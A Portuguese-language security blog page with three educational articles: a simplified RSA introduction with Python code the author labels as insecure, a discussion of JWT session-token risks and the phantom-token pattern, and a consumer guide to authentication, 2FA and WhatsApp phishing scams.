Jump to content
  • Articles

    c4v0k

    Introdução ao RSA

    By c4v0k, in Articles,

    Continuando a série de artigos com foco em criptografia, hoje veremos um dos primeiros algoritmos de chave assimétrica, o RSA, que permite estabelecer uma conexão segura entre duas entidades sem contato prévio entre elas.
    Antes de prosseguir, vale relembrar boas práticas apresentadas no artigo do Chinchila: nunca implemente um esquema criptográfico, utilize bibliotecas reconhecidas pela comunidade, preferencialmente de código aberto.
    Outro ponto importante é que o RSA parece simples em termos matemáticos, mas é fácil de ser utilizado de maneira incorreta na construção de protocolos e/ou implementado de forma a inserir várias vulnerabilidades. O algoritmo básico apresentado aqui não garante proteção contra a maioria de tais vulnerabilidades. Por fim, serão apresentadas simplificações no algoritmo e código em Python para auxiliar a compreensão.
     
    Criptografia de chave assimétrica
    Como apresentado no primeiro artigo de criptografia, algoritmos de chave assimétrica possuem 2 chaves: uma chave pública e uma chave privada (secreta). O uso correto de ambas as chaves permite que duas pessoas estabeleçam um canal de comunicação seguro sem a necessidade de terem combinado chaves anteriormente.
    O funcionamento do algoritmo é análogo a uma caixa de correio como a da foto abaixo. Vamos considerar que a comunicação segura é estabelecida entre a pessoa que envia uma carta e o correio. Quando a pessoa vai enviar a carta, basta deixá-la na caixa. Para manter a analogia mais precisa, vamos considerar que existe uma chave disponível junto à caixa de correio e que ela deve ser utilizada para depositar a carta na caixa. Qualquer usuário pode ter acesso a chave para depositar cartas na caixa, por isso tal chave é denominada chave pública.

    Caixa de correio - Fonte: Wikipedia
    Apenas o Correio possui a chave necessária para abrir a caixa, portanto sabemos que somente ele pode receber as cartas depositadas na caixa. Esta chave é denominada chave privada.
    Dessa forma, o usuário pode enviar mensagens que somente o correio pode ler. Isso ocorre porque todas as mensagens deixadas na caixa só podem ser recebidas pelo detentor da chave privada, ou seja, o próprio correio.
    Um dos primeiros algoritmos capazes de proporcionar a funcionalidade descrita é o RSA.
     
    Aritmética modular
    A aritmética modular é feita apenas com números inteiros. Utilizando mais uma analogia, a aritmética modular é próxima ao funcionamento de um relógio. O ponteiro das horas de um relógio tem funcionamento cíclico, nunca é maior que 11 e menor que 0 (considerando que 12h = 0h). Sempre que o relógio ultrapassa 11h, o relógio volta a contar a partir de 0h. O mesmo vale para somar horas: somando 10h com 4h, o resultado será 2h. Nesse caso, diz-se que as operações são feitas "módulo 12", também representadas por "8 + 6 = 2 mod 12". 
    Computar o valor de a módulo b pode ser interpretada também como calcular o resto da divisão de a por b, por exemplo 23 = 2 mod 7, porque 23 = 7\*3 + 2, 16 mod 4 = 0, porque 16 = 4\*4 + 0
    Em Python, o operador "%" é utilizado para computar a operação modular:
    print(23%7) Além da soma, também existem as operações de multiplicação e potenciação modular. Essas operações são computadas assim como na aritmética regular. Em seguida, é calculado o resto da divisão pelo valor do módulo, por exemplo:
    3\*7 mod 5 -> 3\*7 = 21 = 4\*5+1 = 1 mod 5 
    3^5 mod 7 -> 3^5 = 243 = 34\*7 + 5 = 5 mod 7
    print(3*7%5, pow(3,5,7))  # no Python, pow(a,b,c) = (a**b)%c  
    O RSA
    O algoritmo RSA utiliza a potenciação modular, onde os expoentes são as chaves. Conforme a analogia da caixa de correio, existe uma chave pública, representada por e, e uma chave privada (secreta), representada por d. O valor do módulo é representado por N e é calculado como o produto de dois inteiros primos, representados por p e q. A segurança do algoritmo depende, entre outros fatores que não serão apresentados aqui, do tamanho de p e q, sendo recomendado usar primos de no mínimo 1024 bits.
    from random import randint from sympy import isprime def random_prime(lower_bound, upper_bound):     while True:         r = randint(lower_bound, upper_bound)         if isprime(r):             return r  p = random_prime(2**512, 2**513) q = random_prime(2**512, 2**513) N = p*q print(p, q, N) As chaves pública e privada devem ser calculadas de forma que uma mensagem encriptada pela chave pública pode ser desencriptada somente com o conhecimento da chave privada. Em outro artigo será apresentado o porque de calcular as chaves conforme o código abaixo.
    phi = (p-1)*(q-1) e = 17 d = pow(e, -1, phi) print(e, d) Consideramos que a mensagem a ser enviada seja "artigo_RSA_mente_binaria". Ela deve ser convertida para uma representação em números inteiros com a função bytes_to_long da biblioteca Pycryptodome:
    from Crypto.Util.number import long_to_bytes, bytes_to_long msg = b"artigo_RSA_mente_binaria" m = bytes_to_long(msg) print(m) A encriptação da mensagem consiste em elevar o valor inteiro da mensagem à chave pública e:
    ciphertext = pow(m, e, N) print(ciphertext) print(long_to_bytes(ciphertext)) É possível ver que, após a encriptação, é difícil ver qualquer relação entre a mensagem original e a mensagem encriptada.
    Para que o destinatário recupere a mensagem, basta que ele faça o mesmo procedimento da encriptação, mas utilizando o expoente secreto d:
    plaintext = pow(ciphertext, d, N) print(plaintext) print(long_to_bytes(plaintext))  
    Importante
    Esse artigo apresenta apenas uma introdução ao RSA, diversas partes importantes foram omitidas para facilitar a compreensão. Existem várias vulnerabilidades inerentes a uma implementação básica como essa. Uma boa forma de estudar e compreender melhor esse algoritmo e suas vulnerabilidades é analisar e implementar estes ataques. No ASIS CTF Quals 2021 havia um chall que envolvia uma versão modificada do RSA, mas suscetível às mesmas vulnerabilidades. O write-up do ELT pode ser encontrado aqui. Para saber mais, recomendo os challs do Cryptohack e as próximas postagens aqui no site.
    Bom estudo, se tiver dúvidas e/ou sugestões deixe nos comentário abaixo, até a próxima!

    Código
    from random import randint from sympy import isprime from Crypto.Util.number import long_to_bytes, bytes_to_long def random_prime(lower_bound, upper_bound):     while True:         r = randint(lower_bound, upper_bound)         if isprime(r):             return r  p = random_prime(2**512, 2**513) q = random_prime(2**512, 2**513) N = p*q print(p, q, N) phi = (p-1)*(q-1) e = 17 d = pow(e, -1, phi) print(e, d) msg = b"artigo_RSA_mente_binaria" m = bytes_to_long(msg) print(m) ciphertext = pow(m, e, N) print(ciphertext) print(long_to_bytes(ciphertext)) plaintext = pow(ciphertext, d, N) print(plaintext) print(long_to_bytes(plaintext))

    Saullo Carvalho Castelo Branco
    Este artigo aborda superficialmente tokens JWT e o seu uso no gerenciamento de sessão. Ele aponta uma razão para esse uso, os seus riscos e os ataques já sofridos por conta do uso de tokens JWT. Por fim, ele aponta uma abordagem que permite usar tokens JWT em combinação com tokens opacos para mitigar os riscos de segurança previamente listados.
    1. O que é JSON Web Token?
    JSON Web Token é um padrão aberto, especificado na RFC-7519, que define uma forma compacta e autocontida de transmitir com segurança informações entre interlocutores de comunicação (serviços e APIs, por exemplo) como objeto JSON. Neste artigo, apenas o token JWT estruturado será considerado.
    2. Estrutura do token JWT
    O token JWT é composto por três partes codificadas em base64 separadas por pontos. O trecho em cor vermelha é o cabeçalho do token. O trecho em cor roxa é o conteúdo do token. Por fim, o trecho em cor azul é a assinatura do token.
     

    * Cabeçalho
    O cabeçalho contém informações sobre o tipo de token, typ, e o algoritmo usado para assinar os seus cabeçalho e o conteúdo, alg. No caso da figura abaixo, o token é do tipo JWT e o algoritmo usado para assiná-lo combina o algoritmo de assinatura baseada em chave secreta HMAC com a função de hash criptográfico SHA256.

    * Conteúdo
    O conteúdo contém as informações a compartilhar transmitidas por meio do token JWT. Essas informações são associadas a atributos, chamados claims, do objeto JSON. Esses atributos podem ser reservados, públicos ou privados. No caso da figura abaixo, o identificador da entidade sobre a qual JWT trata, sub, é 1234567890, o nome dessa entidade, name, é John Doe e o instante no qual o token foi gerado, iat, é representado por 1516239022, segundos desde o epoch time.

     
    * Assinatura
    A assinatura é usada para validar a confiabilidade do token. Ela permite checar a sua integridade (se o token foi ou não foi alterado) e, no caso de tokens assinados usando chave privada, também permite verificar se o emissor é quem afirma ser. No caso da foto abaixo, a assinatura é calculada a partir da concatenação do cabeçalho e do conteúdo codificados em base64 separados por um ponto ‘.’ e de uma chave secreta.

    3. Uso do token JWT
    O token JWT é usado na troca de informação entre serviços, no processo de autenticação de usuário e no gerenciamento de sessão.
    O fato de o token ser assinado permite ao seu destinatário ter certeza de que as informações não foram corrompidas ou alteradas durante o seu trânsito e o token foi gerado pelo remetente da comunicação. Portanto, o uso de token JWT é uma boa alternativa para transmitir informações.
    Quando um usuário é autenticado com sucesso usando a sua credencial, um token ID é retornado. Segundo a especificação do OpenID Connect (OIDC), o token ID sempre é um token JWT.
    O seu uso mais comum e mais debatido é o uso no gerenciamento de sessão de usuário. A sua aplicação nesse caso de uso tenta reduzir o tempo de resposta de requisição ao eliminar uma consulta ao banco de dados de sessão.
    4. Por que o token JWT é usado no gerenciamento de sessão?

    No caso tradicional de gerenciamento de sessão, após se autenticar, o cliente recebe um token de sessão opaco, identificador de sessão sem significado. A partir desse momento, ele é enviado ao servidor a cada requisição feita a ele.

    Ao receber a requisição, o servidor usa o token de sessão para consultar as informações do usuário no banco de dados. Desse modo, o servidor será capaz de verificar se o token é válido, de validar se o usuário tem permissão para realizar a ação e, em caso positivo, realizá-la. Como essa consulta deve ser feita a cada requisição enviada pelo cliente e ela é lenta, o tempo de resposta às requisições acaba sendo alongado.

    Por outro lado, usando um token JWT estruturado, contendo as informações do usuário como conteúdo, não há mais necessidade de se realizar a consulta ao banco de dados por essas informações a cada requisição enviada pelo cliente. Essa redução do tempo de resposta dá vantagem ao uso de JWT no gerenciamento de sessão.
    5. Será que tudo são flores?
    Apesar dessa redução do consumo de recursos do banco de dados e da consequente redução do tempo de resposta, o uso de JWT no gerenciamento de sessão traz alguns riscos. O uso de tokens JWT adiciona complexidade e cria oportunidade para exploração de falhas de segurança no seu código de implementação. Alguns ataques bem sucedidos contra o JWT exploraram falhas no seu algoritmo de manipulação, a falta de validação da assinatura e o vazamento de informações sensíveis.
    Como os tokens JWT só se tornam inválidos após o seu vencimento, o token continua válido, mesmo que o usuário feche a sua sessão na aplicação ou tenha o seu acesso bloqueado. A confiança nas informações do usuário contidas no token permanece, mesmo que elas tenham sido atualizadas no respectivo banco de dados, o que pode representar um risco de segurança. Caso a permissão de acesso de um usuário seja reduzida da permissão de administração para a permissão de usuário comum, o token garantirá a primeira permissão, enquanto ele for válido, caso essa alteração tenha ocorrido durante o seu período de validade.
    6. Qual é a recomendação da OWASP sobre token de sessão
    Além dos problemas enumerados previamente, o uso de token JWT com informações do usuário vai de encontro à recomendação da OWASP. Essa organização sugere que os identificadores de sessão não tenham sentido para evitar ataques de vazamento de informação. Caso alguma informação sensível faça parte das informações contidas no conteúdo do token, o envio dele para o cliente após a autenticação permitirá o abuso da informação sensível por atores maliciosos.
    7. O "token fantasma"
    Felizmente, não é necessário escolher apenas entre usar token opaco, sem sentido, apesar do prejuízo no tempo de resposta às requisições, ou usar token JWT com informações do usuário para ter melhor tempo de resposta, mas assumir os riscos enumerados previamente.
    A abordagem do "token fantasma" combina a segurança do token opaco com a conveniência do token JWT. A ideia central é inserir um middleware (proxy reverso, por exemplo) com mecanismo de cache entre o cliente e o servidor. Nesse cenário, o cliente recebe um token opaco a ser enviado ao servidor a cada requisição e o middleware intermedeia a comunicação entre o cliente e o servidor. Ele passa a ser responsável por substituir o token opaco pelo token JWT estruturado, antes de encaminhar a requisição ao servidor destino.

    Como o cliente recebe um token opaco, os riscos de vazamento de informações sensíveis e de exploração de falhas de implementação do JWT são mitigados. Como o servidor recebe o token JWT, ele não precisará consultar os dados do usuário a cada requisição e terá melhor tempo de resposta.
    8. Conclusão
    O artigo citou dois tipos de tokens e apontou as suas vantagens e desvantagens. Ele também apresentou uma abordagem combinada que tenta se aproveitar das vantagens desses tipos.
    Apesar de a abordagem do “token fantasma” parecer bem efetiva, não existe "bala de prata". Portanto, no momento de escolher entre usar tokens opacos, tokens JWT, abordagem combinada ou abordagem diferente das elencadas no artigo, avalie os ganhos e os riscos de cada decisão. Por fim, decida pela que lhe oferecer maior ganho com riscos aceitáveis para a sua situação.
    Boa sorte na sua jornada e desejo que a trilhe sempre levando em conta os riscos associados a cada opção disponível!
    Seja atento e vá em segurança.
    Fontes:
    https://jwt.io/introduction 
    https://auth0.com/docs/security/tokens/json-web-tokens/
    https://datatracker.ietf.org/doc/html/rfc7519
    https://apisecurity.io/issue-56-common-jwt-attacks-owasp-api-security-top-10-cheatsheet/
    https://insomniasec.com/blog/auth0-jwt-validation-bypass
    https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
    https://redis.com/blog/json-web-tokens-jwt-are-dangerous-for-user-sessions/
    http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/
    https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
    https://curity.io/resources/learn/phantom-token-pattern/

    Andre Smaira
    Você está realmente seguro enquanto navega na Internet? E enquanto troca mensagens com os seus amigos? Essas são perguntas cujas respostas infelizmente não são preocupação para a maioria dos usuários da rede mundial de computadores. Vamos descobrir as respostas a elas? E como mudar os seus hábitos para navegar de forma mais segura?
    Nesse artigo vamos estudar um pouco sobre autenticação. Começaremos com uma breve introdução, seguindo com os tipos e níveis de autenticação. Ao final veremos a importância da autenticação de dois fatores (2FA), muito comentada ultimamente como método para se evitarem golpes digitais (muito recorrentes nos últimos anos), e extremamente relevante para qualquer usuário da Internet. Vale a pena dar uma lida para garantir que está seguro! Vamos lá! 
    Definição
    A palavra autenticação tem origem na Grécia e significa algo como "autor real", isto é, a garantia de que quem tenta acessar um determinado sistema é realmente quem o sistema espera que seja. Em outras palavras, é a garantia de que uma entidade é quem diz ser. 

    Fonte: https://www.serpro.gov.br
    Aplicações
    Autenticação é importante em diversas áreas, não somente em segurança da informação como muitos tendem a pensar inicialmente. Em artes, como saber se um quadro é de fato de um determinado pintor? Em antiguidades, como saber se um determinado artefato foi de fato produzido por uma determinada civilização ou numa determinada época? No nosso cotidiano, como saber se um determinado contrato foi assinado pelas partes do mesmo? E finalmente, em segurança da informação, como saber se um usuário é de fato quem diz ser? Ou seja, como garantimos, em qualquer área, que não seremos vítimas de fraude?
    Métodos
    Para quaisquer dessas áreas existem diversos métodos de autenticação. Eles estão divididos em três tipos:
    O primeiro tipo se baseia em confiança numa pessoa específica, geralmente uma pessoa importante em relação ao assunto da autenticação em questão, um especialista na área. A fragilidade desse tipo é a centralização da confiança numa pessoa, que pode errar ou ser corrompida.
    Fonte: https://www.theartnewspaper.com 
    O segundo tipo se baseia em comparação de características da entidade analisada com outra de que se conhece a origem e serve para determinar se ambas tem a mesma precedência. A fragilidade desse processo é que é possível criar uma cópia perfeita, apesar de ser necessário conhecimento especializado para tal. 
    Fonte: https://www.nytimes.com 
    O terceiro tipo se baseia em documentos externos que podem comprovar a precedência da entidade. Esse é o tipo comumente usado em segurança da informação, onde as provas externas são senhas, tokens, etc., mas mesmo assim são apenas indícios de autenticidade, a fragilidade desse tipo é a falsificação desses documentos ou, como no caso de credenciais, o roubo dos mesmos.
    Fonte: http://www.usauthentication.com 
    Fatores
    Com o objetivo de dificultar o comprometimento da autenticidade de serviços digitais, existem três fatores básicos de autenticação que, combinados, reduzem as chances de comprometimento de credenciais. Cada um deles se baseia em o que o usuário deve fornecer para garantir que ele é mesmo quem diz ser:

    Fonte: https://admin.salesforce.com 
    Fator de conhecimento ("o que você sabe"): O usuário deve fornecer alguma informação que teoricamente somente ele sabe, como senhas, PINs, respostas a perguntas de segurança, etc. Senhas, por exemplo, são códigos criados pelo usuário que devem ser utilizadas para autenticações em sistemas. Nesse caso, a responsabilidade sobre a "força da senha", relacionada a sua resistência a um ataque de força bruta (descrito mais adiante), é do usuário, visto que ele é o responsável por sua criação. Atualmente, os serviços tentam exigir e restringir determinados padrões de senha de forma a melhorar a segurança. A empresa também tem responsabilidade sobre a segurança da senha em relação ao seu armazenamento (feito em formato de hashes), visto que a verificação deve ser feita a cada autenticação. Fator de inferência ("o que você é ou faz"): O usuário deve mostrar algo relativo a seu ser ou algo que teoricamente somente ele consegue fazer, como impressão digital, padrão de retina, DNA, rosto, voz, assinatura, etc. Nesse caso, a segurança depende do próprio usuário, visto que a prova de autenticação faz parte do corpo ou depende da habilidade do mesmo. Fator de propriedade ("o que você tem"): O usuário deve utilizar algo que teoricamente somente ele possui, como cartões de identificação, tokens (de hardware ou software), chips implantados, par de chaves público-privada, etc. Tokens de software, por exemplo, são dados que sozinhos não fazem sentido, mas que, quando recebidos pelo sistema de validação, o mesmo consegue verificar a validade e as permissões de acesso do mesmo. Eles são criados pelo serviço e o usuário o recebe por um meio e o fornece por outro. Nesse caso, o responsável pela segurança do token é o usuário, que não pode o fornecer para terceiros. Assim, o ataque de força bruta geralmente não é efetivo, pois um token bem implementado tem tempo de vida, de forma que o atacante não teria tempo hábil para esse ataque, além de que, sempre que possível, códigos relacionados a fator de propriedade são extremamente seguros (grandes e aleatórios). Autenticação em um fator
    Essa forma de autenticação usa apenas um dos fatores acima para autenticar uma transação. Ela é extremamente contra indicada em processos relativos a serviços de alta importância e que, portanto, exigem alto nível de segurança, como serviços bancários ou que possam armazenar ou transmitir dados pessoais relevantes, como documentos, telefone, endereços, parentescos próximos, senhas, etc. 
    Alguns aplicativos de mensagem, como WhatsApp, por padrão se utilizam de apenas um fator de autenticação (fator de propriedade), o que é a principal causa das fraudes frequentemente relatadas pela imprensa ou conhecidos próximos. Continue a ler para aprender como evitar tais fraudes.
    Autenticação em múltiplos fatores
    Essa forma de autenticação, em que 2FA (ou autenticação em dois fatores) é um caso especial, usa ao menos dois fatores dos anteriores de forma que os dois níveis de precisam ser comprometidos por um invasor para que o mesmo consiga acesso ao serviço, o que é muito mais difícil de ocorrer em comparação à utilização de apenas um fator.

    Fonte: https://manuaisti.anac.gov.br 
    A maioria dos sistemas digitais online que fornecem autenticação em dois fatores se utilizam do fator de conhecimento (usuário e senha) e fator de propriedade (token), não necessariamente nessa ordem.
    Ataques Relacionados e suas consequências
    Essa seção vai o ajudar a responder às perguntas iniciais: "Você está seguro enquanto navega na Internet? E enquanto troca mensagens?". Vamos ver a seguir alguns ataques relativamente simples que podem ser prevenidos com práticas fáceis, mas a que nem todos os usuários se atentam.
    Ataques cibernéticos relacionados a autenticação são muito comuns, pois a "parte fraca", ou seja, a parte do sistema explorada pelo atacante, é o usuário comum, aquele que tem pouco ou nenhum conhecimento sobre segurança digital e, portanto, é a mais fácil de ser explorada.
    Ataques de Engenharia Social

    Fonte: https://www.urbannetwork.co.uk/social-engineering/
    Esse é um conjunto de ataques em que a princípio não é necessário nenhum conhecimento técnico de computação ou segurança da informação, nem ao menos serve somente para ataques digitais e justamente por isso é a técnica mais usada. O atacante se vale de manipulação psicológica para fazer com que a pessoa forneça informações que não deveria. 
    Um exemplo muito simples de engenharia social que funcionava muito bem anos atrás (em alguns sites ainda funciona) é a obtenção daquelas respostas secretas, necessárias para recuperar senhas perdidas. Em uma breve conversa com a vítima, um atacante é capaz de obter as respostas a essas perguntas e, consequentemente, de conseguir acesso à conta da vítima.
    Para não se tornar vítima desse ataque, evite esse método de acesso ou tenha certeza que não vai fornecer as respostas a ninguém. Apesar de esse método ser muito pouco usado atualmente, é sempre bom conhecer formas de evitar ataques. Uma forma é responder com palavras ou expressões que não correspondam à realidade, mas que tenha certeza que vá lembrar se precisar. Uma segunda possibilidade é escrever a resposta com uma combinação especial de maiúsculas, minúsculas, números e eventuais símbolos que o atacante não tenha menor chance de testar, mesmo obtendo a resposta correta de alguma forma, sempre destacando que você deve lembrar da mesma.
    Atualmente, dois dos ataques mais comuns estão relacionados ao aplicativo de mensagens WhatsApp, devido à sua popularidade e, portanto, ao ganho financeiro que o atacante terá ao explorar tal aplicativo. Ambos utilizam engenharia social.

    Fonte: https://www.bbc.com 
    No primeiro e mais simples de ser realizado, porém com menor efetividade, a vítima recebe uma mensagem de um número de celular desconhecido, mas com a foto de algum amigo ou parente próximo dizendo que precisou trocar de celular por algum motivo e que precisa de dinheiro urgente, geralmente por não ter acesso aos bancos do aparelho perdido. Esse é o momento que define o final do ataque: se a vítima acreditar e transferir o dinheiro, o ataque obteve sucesso e o dinheiro não pode mais ser recuperado, caso contrário o atacante passa para a próxima vítima.
    Para não se tornar uma vítima, a princípio devemos prevenir, configurando a segurança das redes sociais para privado e evitando fornecer telefones, endereços e graus de parentesco nas mesmas, pois essa é a principal fonte onde os atacantes vão buscar as informações necessárias. Outra forma de prevenir é avisar os seus parentes e amigos próximos que nunca irá transferir dinheiro quando solicitado por aplicativos de mensagem.
    Se o atacante conseguir os seus dados, quando receber mensagem do tipo da descrita no parágrafo anterior, desconfie: a princípio lembre-se se já não avisou para essa pessoa que jamais transferiria dinheiro com pedido por mensagens, veja se a foto do WhatsApp é de fato a do seu contato, converse com a pessoa que mandou a mensagem perguntando sobre fatos que somente o seu contato real poderia saber, mas use isso somente para ter certeza que não é seu amigo, e não ao contrário, pois ela pode também ter sido vítima de engenharia social. Tente falar com a pessoa por outros meios, começando por telefonar ou mandar mensagem para o telefone teoricamente antigo. 
    Se não conseguir falar por nenhum desses meios ou outros quaisquer e ainda pensar que pode ser verdade o pedido, ainda há algumas formas de evitar o sucesso do possível golpe: pegue a conta (ou PIX) que o atacante enviar e comece uma transferência (de preferência de valores baixos, por exemplo, R$ 0,01). Em determinado momento aparecerá os dados parciais ou totais da conta destino. Pense se esses dados fazem sentido – você conhece o dono da conta? A agência é de uma cidade conhecida em que o seu contato poderia realmente estar ou ter um conhecido? Além disso, busque pelos dados na Internet para verificar se não aparecem em fóruns, redes sociais ou outros sites em denúncias de fraudes. 
    Muito provavelmente, depois de todas essas etapas, você já terá certeza que se trata de um golpe, se for o caso. Assim sendo, se ainda não tiver pego os dados bancários do atacante, o faça. Com os dados bancários e o número de telefone do atacante em mãos, denuncie para a polícia, para o banco proprietário da conta e para a operadora de celular dona da linha. Dessa forma você ajudará a evitar que esse atacante tenha sucesso no ataque a outras vítimas. O banco e a empresa de telefonia não podem fazer nada a princípio, mas se houver muitas denúncias sobre os mesmos dados, eles abrirão uma investigação interna para saber se de fato o telefone ou a conta bancária estão sendo usados indevidamente.
    Um caso especial de engenharia social muito usado é o ataque de phishing, cuja tradução literal é "ataque de pesca", pois basicamente o usuário é "fisgado" por uma armadilha enviada através da Internet, fornecendo informações pessoais ou instalando softwares maliciosos.

    Fonte: https://www.paubox.com/ 
    O segundo método de ataque por WhatsApp é, na verdade, geralmente um ataque de phishing e é mais efetivo. Nesse caso, você pode ser vítima em duas possíveis etapas. A primeira diz respeito a ter a conta do WhatsApp sequestrada pelo atacante. Se você for vítima dessa primeira etapa do ataque, vai perceber quando tentar acessar o seu aplicativo e receber a mensagem de que ele foi acessado de outro aparelho celular ou quando receber um aviso de que outro celular acessou a sua conta. Nesse caso avise imediatamente todos os seus contatos de que está sem acesso ao aplicativo e que não devem considerar qualquer mensagem enviada por você. A seguir, tente acessar novamente seu WhatsApp, fornecendo o código de seis dígitos (token, fator de propriedade) que receberá do WhatsApp por SMS. Assim que acessar, o atacante perderá o acesso. 
    Esse ataque é realizado através da obtenção do token presente no SMS citado, que se parece com esse:

    Perceba que, ao final da mensagem, há um texto pedindo que esse código não seja compartilhado com ninguém, mas, por mais incrível que possa parecer, as vítimas desse golpe fazem justamente isso: fornecem o código ao atacante. 
    Vamos aos detalhes: o atacante tenta acessar o WhatsApp com o seu número de telefone, o que faz com que você receba essa mensagem. Nesse momento, muito provavelmente o atacante já está conversando com você e se identificou como funcionário de um serviço qualquer, seja uma pesquisa de mercado, um banco em que você tem conta, uma loja em que você comprou recentemente ou mesmo o próprio WhatsApp. No meio da conversa ele irá dizer que o enviará um código por SMS e que precisa que você confirme esse código por algum motivo. Não forneça o código para ninguém, mesmo que o atacante se identifique como funcionário do WhatsApp.
    E mais: sempre prefira entrar em contato com empresas pelo aplicativo da mesma baixado da loja oficial do seu smartphone, pois é a forma mais segura de não ser uma fraude. É bom destacar aqui que o WhatsApp nunca pede esse código por nenhum meio, ele deve ser escrito somente no aplicativo quando o mesmo pedir para liberar o seu acesso.
    Existe ainda uma segunda forma de evitar ser vítima do golpe mesmo que acidentalmente forneça o código ao atacante: autenticação em múltiplos fatores (particularmente em dois fatores). O WhatsApp tem um recurso que poucos conhecem em que o usuário cria uma senha (fator de conhecimento) que também jamais será solicitada a não ser pelo próprio aplicativo às vezes para ter certeza de que você é você mesmo, mas o mais importante e que evita esse ataque é que todas as vezes em que tentar acessar o aplicativo por um novo telefone, ele irá pedi-la, de forma que para que o ataque tenha sucesso, a vítima tem que fornecer tanto o token enviado por SMS quanto a senha configurada pelo próprio usuário, o que reduz muito as chances do sucesso por parte do atacante. 
    É altamente recomendado que todos os usuários configurem esse segundo fator de autenticação, mesmo porque se você não o fizer e o atacante for rápido o suficiente, ele pode configurar uma senha e, nesse caso, você terá maior dificuldade para recuperar o acesso, dando tempo para os seus amigos desavisados serem vítimas do atacante se passando por você. Para ativar o recurso, siga os passos abaixo, cujas imagens foram obtidas no site Techtudo:
    Entre no WhatsApp Toque nos três pontos no canto superior direito. A seguir toque em "Configurações" e "Conta".
     
    Toque em "Confirmação em duas etapas" e "Ativar".
     
    Insira a senha desejada e toque em "Avançar".
     
    Insira o e-mail para recuperação de senha caso a perca e toque em "Avançar".
    Fonte: https://www.techtudo.com.br 
    Mesmo se defendendo como explicado, você pode ainda ser vítima da segunda parte desse ataque, quando o atacante, em posse de uma conta de algum dos seus amigos, lhe manda mensagem pedindo dinheiro. Por esse motivo, é importante você avisar aos seus contatos assim que perceber que foi vítima de sequestro de conta. Faça a sua parte para evitar que outros sofram com a segunda parte do ataque, mas também fique atento caso algum conhecido seu o sofra (recomende a eles a ativação de autenticação em dois fatores para que isso não ocorra). Caso receba a mensagem de um contato pedindo dinheiro, siga passos semelhantes aos do ataque descrito anteriormente para verificar se de fato se trata da pessoa que diz ser e denuncie para as autoridades e empresas envolvidas caso seja uma tentativa de golpe, como detalhado anteriormente.
    Existem ainda ataques de phishing genéricos pelos mais diversos meios de comunicação:
    Telefone: Evite fornecer seu telefone para empresas desconhecidas e sempre que receber uma chamada de um número desconhecido suspeite. Não forneça dados, mesmo que a pessoa se identifique como funcionário de uma empresa confiável (qualquer um pode fazer isso).
    Fonte: https://pt.vecteezy.com 
    E-mail: Sempre que receber um e-mail que solicite uma resposta ou que acesse determinado link, desconfie, mesmo que aparentemente seja proveniente de empresa confiável e/ou conhecida. Verifique o cabeçalho do e-mail para ter certeza de que o endereço de origem é conhecido e confiável, e em caso de dúvida, entre em contato com o suposto remetente por outros meios previamente conhecidos, ignorando totalmente o e-mail. Além disso, denuncie o e-mail, clicando em classificar como spam e, a seguir, em denunciar fraude.
    Fonte: https://www.uol.com.br
    SMS: Sempre que receber mensagens por SMS com links evite clicar. Entre em contato com o suposto remetente por outros meios previamente conhecidos, ignorando totalmente o SMS. Essas mensagens geralmente falam sobre valores cobrados indevidamente ou dívidas. Veja o exemplo:
    Fonte: https://www.agazeta.com.br
    Ataque Man-In-The-Middle (MITM)
    Nesse tipo de ataque, o atacante intercepta uma comunicação de forma que ambos os interlocutores não percebam a sua presença e, eventualmente, troquem dados sensíveis. Um exemplo muito comum é a criação de uma página web muito parecida com um determinado serviço, como páginas web de bancos, em que a vítima insere os dados de acesso. A seguir, a página fake de fato envia a vítima para o site real de forma que, ao acessar o serviço, não percebe que algo errado ocorreu. Porém, nesse momento o atacante já terá as credenciais de acesso da vítima.

    Fonte: https://medium.com 
    Esse ataque é muito usado em conjunto com o ataque de engenharia social para que o atacante consiga fazer a vítima entrar em seu site fake pensando que está entrando no site real. A via de entrada para esses sites fake geralmente são e-mails ou SMS enviados por atacantes usando o ataque de phishing explicado na seção anterior.
    Para se evitar esse ataque, fique sempre atento ao site que está acessando, verificando se é de fato o site real do serviço desejado. Além disso, uma boa prática é, sempre que possível, acessar serviços através de aplicativos de celular baixado da loja oficial do sistema operacional do seu smartphone (Google Play, Apple App Store, Windows Phone Store, etc.).
    Ataque de Força Bruta
    Ataques de força bruta são aqueles em que o atacante testa diversas senhas até encontrar a correta. Por esse motivo, é importante o uso de senhas sempre distintas entre si, sendo cada uma delas aleatórias e contendo letras (maiúsculas e minúsculas), números e símbolos. Veja na imagem abaixo a relação entre tipos de caracteres, número de caracteres usados e o tempo médio necessário para o atacante conseguir descobrir a senha:

    Fonte: Hive Systems/Divulgação 
    Para que não esqueça nenhuma das suas senhas mesmo elas sendo grandes, aleatórias e distintas entre si, uma recomendação é o uso de gerenciadores de senha, como o Google Passwords, presente no navegador Chrome e em todos os smartphones com sistema Android.
    Para a maioria dos sites, esse ataque não funciona diretamente, pois há verificações que impedem muitas tentativas consecutivas. Porém, isso não impede que o ataque possa ocorrer, pois é muito comum falhas em relação a armazenamento de bancos de dados (recentemente a imprensa divulgou vários ataques a eles, com uma massiva quantidade de dados) que disponibilizam na Internet dados cadastrais. 
    Ataques a bancos de dados são tão comuns que não é recomendado o armazenamento de senhas de forma explícita. O que fica armazenado nos bancos de dados são hashes das senhas, isto é, funções conhecidas porém irreversíveis calculadas a partir das senhas, de forma que a partir da senha digitada, o site pode calcular a mesma função para determinar se foi digitada corretamente. Porém, um atacante com acesso ao banco de dados não terá as senhas de forma explícita, mas em posse das hashes, ele fica com tempo hábil e quantidade de tentativas ilimitadas para tentar possíveis valores da sua senha. Por isso a necessidade de se criarem senhas "fortes" e da aleatoriedade, pois sabendo dos dados presentes nessas tabelas e sabendo que as pessoas costumam escolher senhas fáceis de lembrar e, portanto, não aleatórias, os atacantes usam dicionários de palavras para fazerem tentativas mais inteligentes, demorando menos tempo para chegar às senhas corretas. 
    Para se ter uma ideia da diferença que isso faz, conforme o site wikwik, existem 6669 palavras de 5 letras na língua portuguesa, porém existem 11881376 combinações de 5 letras minúsculas (quase 2000 vezes mais). Se levarmos em consideração também letras maiúsculas, números e símbolos, ainda desconsiderando letras acentuadas, temos um total de 7339040224 combinações de 5 letras (1 milhão de vezes mais que o número de palavras). Essa quantidade mostra a importância de usarmos senhas aleatórias e com a maior quantidade possível de tipos de caracteres.
    Referências
